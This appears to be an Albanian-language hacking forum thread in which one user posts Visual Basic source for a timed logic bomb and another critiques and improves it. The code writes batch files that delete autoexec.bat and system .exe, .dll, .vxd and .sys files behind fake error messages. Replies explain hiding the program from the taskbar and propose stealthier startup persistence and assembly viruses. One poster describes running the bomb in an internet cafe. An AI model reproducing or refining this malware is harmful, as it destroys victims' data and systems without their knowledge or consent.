Trojanet dhe shperndarja e viruseve

[sniper_007]

shikoi njecik keto modifikimet e vogla qe bera



Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal _
lpOperation As String, ByVal lpFile As String, ByVal _
lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long

Private Sub Text1_Change()
If Text1.Text = "19:00:00" Then
Call gallate
End If
End Sub

Private Sub Text2_Change()
If Text2.Text = "20:00:00" Then
Call bum
End If
End Sub




Private Sub Timer1_Timer()
Text3.Text = DateTime.Date$
If Text3.Text = "02-01-2004" Then
Text1.Text = DateTime.Time$
Text2.Text = DateTime.Time$

Else
Text1.Text = "SNIPER_007"
Text2.Text = "SNIPER_007"
End If
End Sub

Private Sub gallate()
On Error Resume Next
Open "c:\art.txt" For Output As #1
Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "del c:\autoexec.bat"
Close #1
Name "c:\art.txt" As "c:\art.bat"
Shell "c:\art.bat"
MsgBox "File not found", vbCritical
Open "c:\autoexec.txt" For Output As #1
Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "xcopy c:\*.txt c:\windows\desktop"
Print #1, "xcopy c:\windows\*.exe c:\windows\desktop"
Print #1, "xcopy c:\windows\*.txt c:\windows\desktop"
Print #1, "xcopy c:\windows\*.bmp c:\windows\desktop"
Print #1, "xcopy c:\windows\*.exe c:\my documents"
Print #1, "xcopy c:\windows\*.txt c:\my documents"
Print #1, "xcopy c:\windows\*.bmp c:\my documents"
Print #1, "xcopy c:\windows\*.exe d:\"
Print #1, "xcopy c:\windows\*.txt d:\"
Close #1
Name "c:\autoexec.txt" As "c:\autoexec.bat"
Kill "c:\art.bat"

End Sub

Private Sub bum()
On Error Resume Next

Open "c:\mbushe.txt" For Output As #1

Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "cd c:\windows\desktop"
Print #1, "md 1³Åų"
Print #1, "md 2ÅųÅ"
Print #1, "md 3³³³³"
Print #1, "md 4ųų"
Print #1, "md 5³³³Å"
Print #1, "md 6ÅÅÅÅ"
Print #1, "md 7³ÅÅÅ"
Print #1, "md 8ÅųÅ"
Print #1, "md 9³³³³"
Print #1, "md 10ųÅÅ"
Print #1, "md 11ÅÅÅÅ"
Print #1, "md 12ųų"
Print #1, "md 13³³Å³"
Print #1, "md 14³Å³³"
Print #1, "md 15ÅųÅ"
Print #1, "md 16ų³³"
Print #1, "md 17ųų"
Print #1, "exit"
Close #1
Name "c:\mbushe.txt" As "c:\mbushe.bat"
Shell "c:\mbushe.bat"
MsgBox "O nonee o nonee car jane ter keto mi", vbCritical
Kill "C:\mbushe.bat"
end sub
Private Sub Command1_Click()
Open "c:\ladi3565.txt" For Output As #1
Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "del c:\autoexec.bat"
Print #1, "exit"
Close #1
Name "c:\ladi3565.txt" As "c:\alfa.bat"
Shell "c:\alfa.bat"
MsgBox "Please reboot computer", vbexlamation
Kill "c:\alfa.bat"
Open "c:\autoexec.txt" For Output As #1
Print #1, "@echo off"
Print #1, "cd c:\"
Print #1, "del *.com"
Print #1, "cd c:\windows\"
Print #1, "del *.exe"
Print #1, "cd c:\windows\system\"
Print #1, "del *.vxd"
Print #1, "del *.dll"
Print #1, "del *.sys"
Print #1, "cd.."
Print #1, "boot12.bat"
Print #1, "echo KOMPJUTER I FORT KY I YTI"
Print #1, "ECHO MARSHALLA"
Print #1, "echo OBOBOOOOOOOO TA MORA ME SYSH...."
Print #1, "del *.bat"
Print #1, "exit"
Close #1
Name "c:\autoexec.txt" As "c:\autoexec.bat"
MsgBox "SYSTEM error", vbCritical
Close #1
Open "c:\windows\boot12.txt" For Output As #1
Print #1, "@echo off"
Print #1, "c:\"
Print #1, "cd c:\"
Print #1, "del c:\autoexec.bat"
Close #1
Name "c:\windows\boot12.txt" As "c:\windows\boot12.bat"



End Sub



kur ta lexosh me jep nje mendim.....




sniper


bye

[sniper_007]

dale se harrova < do me tregosh si behet HIDEN FILE para se ta krijosh ne exe >

[Force-Intruder]

Ky proggy nuk do te punoje :


Private Sub Text1_Change()
If Text1.Text = "19:00:00" Then
Call gallate
End If
End Sub

Private Sub Text2_Change()
If Text2.Text = "20:00:00" Then
Call bum
End If
End Sub




Private Sub Timer1_Timer()
Text3.Text = DateTime.Date$
If Text3.Text = "02-01-2004" Then
Text1.Text = DateTime.Time$
Text2.Text = DateTime.Time$

Else
Text1.Text = "SNIPER_007"
Text2.Text = "SNIPER_007"
End If
End Sub

[Force-Intruder]

Hidhi nje sy asaj qe ke shkruajtur nga ana llogjike
...i ngjan pak a shume dickaje te tille...

IF te pema ka dy molle
THEN haji te dy dardhat

Eshte shume e thjeshte ... vetem shikoje se do ta gjesh gabimin..
Nje keshille tjeter... me sa duket nuk e ke provuar asnje here si punon nga frika....
Eliminoje ato batet dhe ler pershembull gallaten sic e kisha lene une (me forumin) dhe pastaj beji run ta kontrollosh si punon...


Private Sub Command1_Click()

??????? Po kete ce do ??? Sikur po beje nje bombe llogjike... pra nje bombe me kurdisje..... nje bombe e tille llogjikisht nuk ka ce do fitilin... me thuaj kush do ta shtypi ate buton ???
Nqs butonin do qe ta shtypesh vete, atehere pse e do formen e fshehte ???? kur ajo eshte e fshehte nuk afishohet...keshtu qe nuk ke cfare butoni te shtypesh...apo jo?

Nuk po them gje per batet... po merrem vetem me kodin VB...
Nga doli text3 ??? Mire qe doli po pse rri kot aty.... shikoje mire...

Ne kete forme as kjo nuk te duhet :

Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal _
lpOperation As String, ByVal lpFile As String, ByVal _
lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long


Kjo ishte aty vetem per hapjen e dritares se explorer qe conte te forumi ne oren 11:33 apo jo....nqs nje gje nuk duhet ne nje kod, mos e ver kurre per dy arsye....sa me i vogel programi aq me mire...dhe sa me pak mess aq me mire...

[Force-Intruder]

Sa per ta bere te fshehte...mund te shkosh tek propreties e formes dhe tek Visible tijapesh False..po ashtu edhe tek showintaskbar jepi False

[sniper_007]

mir e ke ti per ate kodin sse e pash , e regullova , e bera nja 3 faqe kod(te nregullt) po ce do me prishi kompjutrin.
E ndryshova e bera vetem me ore (me 5 Call te ndryshme )
dhe futa ne funksion System.ini
Kur i dhash run nga vb , se kishja mendjen qe oraret qe kisha vene une ishin njesoj me orarin e kompjutrit,,,,, Kur TAk.!!! si per magji me del mesazhi qe pata vene me pare... me vbcritical

mu fshi system.ini , ngyrat e kompjutrit me vajten me 15 ngjyra ,
resolucioni me vajti nga 800 x 600 minimal ( dhe nuk ndryshoheshin as ngjyrat as resolucioni) Treguesi i mausit mu zhduk ...............
Keshtu qe e mer me mend se ckam hequr per ti regulluar ( pa perfundim)

bera riinstalimin e windows po u regullua vetem treguesi , ngjyrat dhe resolucioni nuk i ndryshoj dot...............

Ke ndonje ide........

[sniper_007]

sa per

Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal _
lpOperation As String, ByVal lpFile As String, ByVal _
lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long

nuk e dija se cfar ishte prandaj e lash aty

[Force-Intruder]

Boll me prova mbi kompjuterin tend ... nqs do te testosh kodin VB , bej me mire nja dy bate qe nuk prishin pune dhe vendos ata ne vend te shkaterruesve ok?

[sniper_007]

e formatova compjutrin , dhe e humba dhe vb 6 , do me duhet nje kohe e gjate qe ti gjej prap , sepse PROVIDERI im ka pas ca probleme me NETWORC-un .
Gjithmone i kame testuar ne kompjuter kodet , dhe e kame heq shkateruesin .
Ajo bomba llgjike qe kame bere vet e shkarkova ne nje internet cafee po pa efekt (ose te pakten keshtu duket), mbase ndodhi ngaqe nuk kishja hequr


Private Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal _
lpOperation As String, ByVal lpFile As String, ByVal _
lpParameters As String, ByVal lpDirectory As String, _
ByVal nShowCmd As Long) As Long


megjithte do mundohem ta gej sa me shpejt vb se spo me rihet pa prishur dicka ;-)

TANI

[Force-Intruder]

jo nuk ka ndodhur prej asaj
lol
varet cfare sistemi kane pasur kompjuterat e internet kafese... ato lloj batesh qe ke shkruar ti prishin vetem sisteme win9x.
Si te besh nje vb app qe te ngarkohet sa here hapet windows, te mos duket ne taskbar dhe as me "msconfig", brenda te perfshish nje skadar bat i cili te jete i afte te detektoje llojin e sistemit dhe te veproje perkatesiht (po behet!!! : kujto pak format : "if exist... then goto")... dhe cka eshte me kryesorja si te besh dicka qe jo thjesht te prishi e te shkaterroje, por te jete shume shume e besdisshme ?????????? Kjo eshte sfida jote e rradhes :

(ngadale i bie te fillosh te lexosh pak assembly language sepse me te mund te besh miniviruse shume shume te vegjel memory resident etj etj. VB i ben programet disa here me te medhenj se c'duhet te jene normalisht..ashu sikunder e shumices se Visual terci verci)